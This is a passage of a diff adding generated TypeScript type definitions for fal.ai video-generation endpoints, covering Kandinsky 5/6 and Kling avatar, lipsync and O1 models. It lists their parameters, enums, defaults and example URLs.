'5s': '5s', + '10s': '10s', +} as const + +export type InputFalAiKandinsky5TextToVideoDurationEnumKey = + (typeof inputFalAiKandinsky5TextToVideoDurationEnum)[keyof typeof inputFalAiKandinsky5TextToVideoDurationEnum] + +export const inputFalAiKandinsky5TextToVideoAspectRatioEnum = { + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', +} as const + +export type InputFalAiKandinsky5TextToVideoAspectRatioEnumKey = + (typeof inputFalAiKandinsky5TextToVideoAspectRatioEnum)[keyof typeof inputFalAiKandinsky5TextToVideoAspectRatioEnum] + +export type InputFalAiKandinsky5TextToVideo = { + /** + * @description The text prompt to guide video generation. + * @example A dog in red hat + * @type string + */ + prompt: string + /** + * @description Resolution of the generated video in W:H format. Will be calculated based on the aspect ratio(768x512, 512x512, 512x768). + * @default '768x512' + * @type string | undefined + */ + resolution?: '768x512' + /** + * @description The length of the video to generate (5s or 10s) + * @default '5s' + * @example 5s + * @example 10s + * @type string | undefined + */ + duration?: InputFalAiKandinsky5TextToVideoDurationEnumKey + /** + * @description Aspect ratio of the generated video. One of (3:2, 1:1, 2:3). + * @default '3:2' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKandinsky5TextToVideoAspectRatioEnumKey + /** + * @description The number of inference steps. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File4855F5C5 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiKandinsky5TextToVideo = { + /** + * @description The generated video file. + * @example {"file_size":5797172,"content_type":"application/octet-stream","file_name":"output.mp4","url":"https://v3b.fal.media/files/b/tiger/5d-CATfsfPrBaXAK38hy6_output.mp4"} + */ + video?: File4855F5C5 | null +} + +export const inputFalAiKandinsky5TextToVideoDistillDurationEnum = { + '5s': '5s', + '10s': '10s', +} as const + +export type InputFalAiKandinsky5TextToVideoDistillDurationEnumKey = + (typeof inputFalAiKandinsky5TextToVideoDistillDurationEnum)[keyof typeof inputFalAiKandinsky5TextToVideoDistillDurationEnum] + +export const inputFalAiKandinsky5TextToVideoDistillAspectRatioEnum = { + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', +} as const + +export type InputFalAiKandinsky5TextToVideoDistillAspectRatioEnumKey = + (typeof inputFalAiKandinsky5TextToVideoDistillAspectRatioEnum)[keyof typeof inputFalAiKandinsky5TextToVideoDistillAspectRatioEnum] + +export type InputFalAiKandinsky5TextToVideoDistill = { + /** + * @description The text prompt to guide video generation. + * @example A dog in red hat + * @type string + */ + prompt: string + /** + * @description Resolution of the generated video in W:H format. Will be calculated based on the aspect ratio(768x512, 512x512, 512x768). + * @default '768x512' + * @type string | undefined + */ + resolution?: '768x512' + /** + * @description The length of the video to generate (5s or 10s) + * @default '5s' + * @example 5s + * @example 10s + * @type string | undefined + */ + duration?: InputFalAiKandinsky5TextToVideoDistillDurationEnumKey + /** + * @description Aspect ratio of the generated video. One of (3:2, 1:1, 2:3). + * @default '3:2' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKandinsky5TextToVideoDistillAspectRatioEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileA52B796D = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiKandinsky5TextToVideoDistill = { + /** + * @description The generated video file. + * @example {"file_size":5797172,"content_type":"application/octet-stream","file_name":"output.mp4","url":"https://v3b.fal.media/files/b/tiger/5d-CATfsfPrBaXAK38hy6_output.mp4"} + */ + video?: FileA52B796D | null +} + +export const inputFalAiKandinsky6LiteImageToVideoAspectRatio = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputFalAiKandinsky6LiteImageToVideoAspectRatioKey = + (typeof inputFalAiKandinsky6LiteImageToVideoAspectRatio)[keyof typeof inputFalAiKandinsky6LiteImageToVideoAspectRatio] + +export type InputFalAiKandinsky6LiteImageToVideo = { + /** + * @description If set, upscale the generated video by this factor with Kandinsky 6 video super-resolution. One of 2, 2.25 or 4; 2.25 turns the 480p output into 1080p. + */ + upscale_factor?: number | null + /** + * @description The text prompt describing the video and its sound. + * @example A cat and a dog baking a cake together in a kitchen. The cat whisks batter while the dog sniffs the flour; a kitchen timer ticks and a mixer hums in the background. + * @type string + */ + prompt: string + /** + * @description Whether to generate a synchronized audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to rewrite the prompt into a detailed video+audio description with the model's own Qwen2.5-VL text encoder before generating. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The image used as the first frame of the video. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-2-i2v-input.jpg + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of denoising steps. Lite is tuned for 10. + * @minimum 4 + * @maximum 16 + * @default 10 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The random seed used for the generation process. + */ + seed?: number | null + /** + * @description The aspect ratio of the generated video. `auto` picks the supported ratio closest to the image's; the image is center-cropped to it. + * @default auto + */ + aspect_ratio?: InputFalAiKandinsky6LiteImageToVideoAspectRatioKey | 'auto' + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type FileD71C0259 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiKandinsky6LiteImageToVideo = { + /** + * @description The generated video, with its audio track when requested. + * @type object + */ + video: FileD71C0259 + /** + * @description The random seed used for the generation process. + * @type integer + */ + seed: number +} + +export const inputFalAiKandinsky6LiteTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputFalAiKandinsky6LiteTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKandinsky6LiteTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKandinsky6LiteTextToVideoAspectRatioEnum] + +export type InputFalAiKandinsky6LiteTextToVideo = { + /** + * @description If set, upscale the generated video by this factor with Kandinsky 6 video super-resolution. One of 2, 2.25 or 4; 2.25 turns the 480p output into 1080p. + */ + upscale_factor?: number | null + /** + * @description The text prompt describing the video and its sound. + * @example A cat and a dog baking a cake together in a kitchen. The cat whisks batter while the dog sniffs the flour; a kitchen timer ticks and a mixer hums in the background. + * @type string + */ + prompt: string + /** + * @description Whether to generate a synchronized audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to rewrite the prompt into a detailed video+audio description with the model's own Qwen2.5-VL text encoder before generating. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of denoising steps. Lite is tuned for 10. + * @minimum 4 + * @maximum 16 + * @default 10 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The random seed used for the generation process. + */ + seed?: number | null + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKandinsky6LiteTextToVideoAspectRatioEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type File55Da144D = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiKandinsky6LiteTextToVideo = { + /** + * @description The generated video, with its audio track when requested. + * @type object + */ + video: File55Da144D + /** + * @description The random seed used for the generation process. + * @type integer + */ + seed: number +} + +export const inputFalAiKandinsky6ProImageToVideoAspectRatio = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputFalAiKandinsky6ProImageToVideoAspectRatioKey = + (typeof inputFalAiKandinsky6ProImageToVideoAspectRatio)[keyof typeof inputFalAiKandinsky6ProImageToVideoAspectRatio] + +export type InputFalAiKandinsky6ProImageToVideo = { + /** + * @description The aspect ratio of the generated video. `auto` picks the supported ratio closest to the image's; the image is center-cropped to it. + * @default auto + */ + aspect_ratio?: InputFalAiKandinsky6ProImageToVideoAspectRatioKey | 'auto' + /** + * @description The random seed used for the generation process. + */ + seed?: number | null + /** + * @description The text prompt describing the video and its sound. + * @example A cat and a dog baking a cake together in a kitchen. The cat whisks batter while the dog sniffs the flour; a kitchen timer ticks and a mixer hums in the background. + * @type string + */ + prompt: string + /** + * @description Whether to generate a synchronized audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The image used as the first frame of the video. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-2-i2v-input.jpg + * @type string + */ + image_url: string + /** + * @description The number of denoising steps. + * @minimum 8 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to rewrite the prompt into a detailed video+audio description with the model's own Qwen2.5-VL text encoder before generating. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Classifier-free guidance strength. + * @minimum 1 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description What to avoid in the video. Defaults to the model's built-in negative prompt. + */ + negative_prompt?: string | null + /** + * @description If set, upscale the generated video by this factor with Kandinsky 6 video super-resolution. One of 2, 2.25 or 4; 2.25 turns the 480p output into 1080p. + */ + upscale_factor?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File333Fe4Fc = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiKandinsky6ProImageToVideo = { + /** + * @description The generated video, with its audio track when requested. + * @type object + */ + video: File333Fe4Fc + /** + * @description The random seed used for the generation process. + * @type integer + */ + seed: number +} + +export const inputFalAiKandinsky6ProTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputFalAiKandinsky6ProTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKandinsky6ProTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKandinsky6ProTextToVideoAspectRatioEnum] + +export type InputFalAiKandinsky6ProTextToVideo = { + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKandinsky6ProTextToVideoAspectRatioEnumKey + /** + * @description The random seed used for the generation process. + */ + seed?: number | null + /** + * @description The text prompt describing the video and its sound. + * @example A cat and a dog baking a cake together in a kitchen. The cat whisks batter while the dog sniffs the flour; a kitchen timer ticks and a mixer hums in the background. + * @type string + */ + prompt: string + /** + * @description Whether to generate a synchronized audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The number of denoising steps. + * @minimum 8 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to rewrite the prompt into a detailed video+audio description with the model's own Qwen2.5-VL text encoder before generating. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Classifier-free guidance strength. + * @minimum 1 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description What to avoid in the video. Defaults to the model's built-in negative prompt. + */ + negative_prompt?: string | null + /** + * @description If set, upscale the generated video by this factor with Kandinsky 6 video super-resolution. One of 2, 2.25 or 4; 2.25 turns the 480p output into 1080p. + */ + upscale_factor?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File24837Ff2 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiKandinsky6ProTextToVideo = { + /** + * @description The generated video, with its audio track when requested. + * @type object + */ + video: File24837Ff2 + /** + * @description The random seed used for the generation process. + * @type integer + */ + seed: number +} + +export const inputFalAiKandinsky6VsrUpscaleFactorEnum = { + '2': 2, + '2.25': 2.25, + '4': 4, +} as const + +export type InputFalAiKandinsky6VsrUpscaleFactorEnumKey = + (typeof inputFalAiKandinsky6VsrUpscaleFactorEnum)[keyof typeof inputFalAiKandinsky6VsrUpscaleFactorEnum] + +export type InputFalAiKandinsky6Vsr = { + /** + * @description Total upscale factor applied to the input resolution. One of 2, 2.25 or 4. + * @default 2.25 + * @type number | undefined + */ + upscale_factor?: InputFalAiKandinsky6VsrUpscaleFactorEnumKey + /** + * @description The input video to upscale. Clips are resampled to 24fps and capped at 121 frames (~5s). For 2x and 4x upscaling, width and height must be multiples of 16. + * @example https://storage.googleapis.com/falserverless/example_inputs/seedvr-input.mp4 + * @type string + */ + video_url: string + /** + * @description The random seed used for the generation process. + */ + seed?: number | null + /** + * @description The number of denoising steps used for each tile. + * @minimum 2 + * @maximum 50 + * @default 5 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileBd6Dbe4A = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiKandinsky6Vsr = { + /** + * @description Upscaled video file after processing + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/seedvr-output.mp4","content_type":"video/mp4"} + * @type object + */ + video: FileBd6Dbe4A + /** + * @description The random seed used for the generation process. + * @type integer + */ + seed: number +} + +export const inputFalAiKandinsky6VsrLiteUpscaleFactorEnum = { + '2': 2, + '2.25': 2.25, + '4': 4, +} as const + +export type InputFalAiKandinsky6VsrLiteUpscaleFactorEnumKey = + (typeof inputFalAiKandinsky6VsrLiteUpscaleFactorEnum)[keyof typeof inputFalAiKandinsky6VsrLiteUpscaleFactorEnum] + +export type InputFalAiKandinsky6VsrLite = { + /** + * @description Total upscale factor applied to the input resolution. One of 2, 2.25 or 4. + * @default 2.25 + * @type number | undefined + */ + upscale_factor?: InputFalAiKandinsky6VsrLiteUpscaleFactorEnumKey + /** + * @description The input video to upscale. Clips are resampled to 24fps and capped at 121 frames (~5s). For 2x and 4x upscaling, width and height must be multiples of 16. + * @example https://storage.googleapis.com/falserverless/example_inputs/seedvr-input.mp4 + * @type string + */ + video_url: string + /** + * @description The random seed used for the generation process. + */ + seed?: number | null + /** + * @description The number of denoising steps used for each tile. + * @minimum 2 + * @maximum 50 + * @default 5 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileAee937E1 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiKandinsky6VsrLite = { + /** + * @description Upscaled video file after processing + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/seedvr-output.mp4","content_type":"video/mp4"} + * @type object + */ + video: FileAee937E1 + /** + * @description The random seed used for the generation process. + * @type integer + */ + seed: number +} + +export type InputFalAiKlingVideoAiAvatarV2Pro = { + /** + * @description The URL of the audio file. + * @example https://v3.fal.media/files/rabbit/9_0ZG_geiWjZOmn9yscO6_output.mp3 + * @type string + */ + audio_url: string + /** + * @description The URL of the image to use as your avatar + * @example https://storage.googleapis.com/falserverless/example_inputs/kling_ai_avatar_input.jpg + * @type string + */ + image_url: string + /** + * @description The prompt to use for the video generation. + * @default '.' + * @type string | undefined + */ + prompt?: string + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File98Fa5Fa9 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoAiAvatarV2Pro = { + /** + * @description Duration of the output video in seconds. + * @type number + */ + duration: number + /** + * @description The generated video + * @example {"url":"https://v3.fal.media/files/penguin/ln3x7H1p1jL0Pwo7675NI_output.mp4"} + * @type object + */ + video: File98Fa5Fa9 +} + +export type InputFalAiKlingVideoAiAvatarV2Standard = { + /** + * @description The URL of the audio file. + * @example https://v3.fal.media/files/rabbit/9_0ZG_geiWjZOmn9yscO6_output.mp3 + * @type string + */ + audio_url: string + /** + * @description The URL of the image to use as your avatar + * @example https://storage.googleapis.com/falserverless/example_inputs/kling_ai_avatar_input.jpg + * @type string + */ + image_url: string + /** + * @description The prompt to use for the video generation. + * @default '.' + * @type string | undefined + */ + prompt?: string + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File16Fd2B39 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoAiAvatarV2Standard = { + /** + * @description Duration of the output video in seconds. + * @type number + */ + duration: number + /** + * @description The generated video + * @example {"url":"https://v3.fal.media/files/penguin/ln3x7H1p1jL0Pwo7675NI_output.mp4"} + * @type object + */ + video: File16Fd2B39 +} + +export type InputFalAiKlingVideoLipsyncAudioToVideo = { + /** + * @description The URL of the audio to generate the lip sync for. Minimum duration is 2s and maximum duration is 60s. Maximum file size is 5MB. + * @example https://storage.googleapis.com/falserverless/kling/kling-audio.mp3 + * @type string + */ + audio_url: string + /** + * @description The URL of the video to generate the lip sync for. Supports .mp4/.mov, ≤100MB, 2–10s, 720p/1080p only, width/height 720–1920px. + * @example https://fal.media/files/koala/8teUPbRRMtAUTORDvqy0l.mp4 + * @type string + */ + video_url: string + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileE51E3Fb9 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoLipsyncAudioToVideo = { + /** + * @description The generated video + * @example {"url":"https://storage.googleapis.com/falserverless/kling/kling_output.mp4"} + * @type object + */ + video: FileE51E3Fb9 +} + +export const inputFalAiKlingVideoLipsyncTextToVideoVoiceLanguageEnum = { + zh: 'zh', + en: 'en', +} as const + +export type InputFalAiKlingVideoLipsyncTextToVideoVoiceLanguageEnumKey = + (typeof inputFalAiKlingVideoLipsyncTextToVideoVoiceLanguageEnum)[keyof typeof inputFalAiKlingVideoLipsyncTextToVideoVoiceLanguageEnum] + +export const inputFalAiKlingVideoLipsyncTextToVideoVoiceIdEnum = { + genshin_vindi2: 'genshin_vindi2', + zhinen_xuesheng: 'zhinen_xuesheng', + AOT: 'AOT', + ai_shatang: 'ai_shatang', + genshin_klee2: 'genshin_klee2', + genshin_kirara: 'genshin_kirara', + ai_kaiya: 'ai_kaiya', + oversea_male1: 'oversea_male1', + ai_chenjiahao_712: 'ai_chenjiahao_712', + girlfriend_4_speech02: 'girlfriend_4_speech02', + 'chat1_female_new-3': 'chat1_female_new-3', + 'chat_0407_5-1': 'chat_0407_5-1', + 'cartoon-boy-07': 'cartoon-boy-07', + uk_boy1: 'uk_boy1', + 'cartoon-girl-01': 'cartoon-girl-01', + PeppaPig_platform: 'PeppaPig_platform', + ai_huangzhong_712: 'ai_huangzhong_712', + ai_huangyaoshi_712: 'ai_huangyaoshi_712', + ai_laoguowang_712: 'ai_laoguowang_712', + chengshu_jiejie: 'chengshu_jiejie', + you_pingjing: 'you_pingjing', + calm_story1: 'calm_story1', + uk_man2: 'uk_man2', + laopopo_speech02: 'laopopo_speech02', + heainainai_speech02: 'heainainai_speech02', + 'reader_en_m-v1': 'reader_en_m-v1', + 'commercial_lady_en_f-v1': 'commercial_lady_en_f-v1', + tiyuxi_xuedi: 'tiyuxi_xuedi', + tiexin_nanyou: 'tiexin_nanyou', + girlfriend_1_speech02: 'girlfriend_1_speech02', + girlfriend_2_speech02: 'girlfriend_2_speech02', + zhuxi_speech02: 'zhuxi_speech02', + uk_oldman3: 'uk_oldman3', + dongbeilaotie_speech02: 'dongbeilaotie_speech02', + chongqingxiaohuo_speech02: 'chongqingxiaohuo_speech02', + chuanmeizi_speech02: 'chuanmeizi_speech02', + chaoshandashu_speech02: 'chaoshandashu_speech02', + ai_taiwan_man2_speech02: 'ai_taiwan_man2_speech02', + xianzhanggui_speech02: 'xianzhanggui_speech02', + tianjinjiejie_speech02: 'tianjinjiejie_speech02', + 'diyinnansang_DB_CN_M_04-v2': 'diyinnansang_DB_CN_M_04-v2', + 'yizhipiannan-v1': 'yizhipiannan-v1', + 'guanxiaofang-v2': 'guanxiaofang-v2', + 'tianmeixuemei-v1': 'tianmeixuemei-v1', + 'daopianyansang-v1': 'daopianyansang-v1', + 'mengwa-v1': 'mengwa-v1', +} as const + +export type InputFalAiKlingVideoLipsyncTextToVideoVoiceIdEnumKey = + (typeof inputFalAiKlingVideoLipsyncTextToVideoVoiceIdEnum)[keyof typeof inputFalAiKlingVideoLipsyncTextToVideoVoiceIdEnum] + +export type InputFalAiKlingVideoLipsyncTextToVideo = { + /** + * @description The URL of the video to generate the lip sync for. Supports .mp4/.mov, ≤100MB, 2-60s, 720p/1080p only, width/height 720–1920px. If validation fails, an error is returned. + * @example https://fal.media/files/koala/8teUPbRRMtAUTORDvqy0l.mp4 + * @type string + */ + video_url: string + /** + * @description Text content for lip-sync video generation. Max 120 characters. + * @maxLength 120 + * @example Mental health is as important as physical health, shaping our emotions, thoughts, and daily interactions. + * @type string + */ + text: string + /** + * @description The voice language corresponding to the Voice ID + * @default 'en' + * @type string | undefined + */ + voice_language?: InputFalAiKlingVideoLipsyncTextToVideoVoiceLanguageEnumKey + /** + * @description Speech rate for Text to Video generation + * @minimum 0.8 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + voice_speed?: number + /** + * @description Voice ID to use for speech synthesis + * @example genshin_klee2 + * @type string + */ + voice_id: InputFalAiKlingVideoLipsyncTextToVideoVoiceIdEnumKey + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileEe73Ab12 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoLipsyncTextToVideo = { + /** + * @description The generated video + * @example {"url":"https://storage.googleapis.com/falserverless/kling/kling_text_lipsync.mp4"} + * @type object + */ + video: FileEe73Ab12 +} + +export const inputFalAiKlingVideoO1ImageToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', +} as const + +export type InputFalAiKlingVideoO1ImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO1ImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO1ImageToVideoDurationEnum] + +export type InputFalAiKlingVideoO1ImageToVideo = { + /** + * @description Use @Image1 to reference the start frame, @Image2 to reference the end frame. + * @maxLength 2500 + * @example Create a magical timelapse transition. The snow melts rapidly to reveal green grass, and the tree branches burst into bloom with pink flowers in real-time. The lighting shifts from cold winter light to warm spring sunshine. The camera pushes in slowly towards the tree. Disney-style magical transformation, cinematic, 8k. + * @type string + */ + prompt: string + /** + * @description Video duration in seconds. + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO1ImageToVideoDurationEnumKey + /** + * @description Image to use as the last frame of the video. + * @example https://v3b.fal.media/files/b/tiger/BwHi22qoQnqaTNMMhe533.png + */ + end_image_url?: string | null + /** + * @description Image to use as the first frame of the video. + * + * Max file size: 50.0MB, Min width: 300px, Min height: 300px, Min aspect ratio: 0.40, Max aspect ratio: 2.50, Timeout: 20.0s + * @example https://v3b.fal.media/files/b/rabbit/NaslJIC7F2WodS6DFZRRJ.png + * @type string + */ + start_image_url: string + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File953C1530 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output for Kling Omni Video generation. + * @type object + */ +export type OutputFalAiKlingVideoO1ImageToVideo = { + /** + * @description The generated video. + * @example {"file_size":27588984,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/koala/knryyyGF3ZVyMMrGr77CL_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File953C1530 +} + +export type OmniVideoElementInput = { + /** + * @description Additional reference images from different angles. 1-3 images supported. At least one image is required. + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description The frontal image of the element (main view). + * + * Max file size: 50.0MB, Min width: 300px, Min height: 300px, Min aspect ratio: 0.40, Max aspect ratio: 2.50, Timeout: 20.0s + * @type string + */ + frontal_image_url: string +} + +export const inputFalAiKlingVideoO1ReferenceToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', +} as const + +export type InputFalAiKlingVideoO1ReferenceToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO1ReferenceToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO1ReferenceToVideoDurationEnum] + +export const inputFalAiKlingVideoO1ReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoO1ReferenceToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO1ReferenceToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO1ReferenceToVideoAspectRatioEnum] + +/** + * @description Input for start-frame video generation with optional reference images and elements. + * @type object + */ +export type InputFalAiKlingVideoO1ReferenceToVideo = { + /** + * @description Take @Element1, @Element2 to reference elements and @Image1, @Image2 to reference images in order. + * @maxLength 2500 + * @example Take @Image1 as the start frame. Start with a high-angle satellite view of the ancient greenhouse ruin surrounded 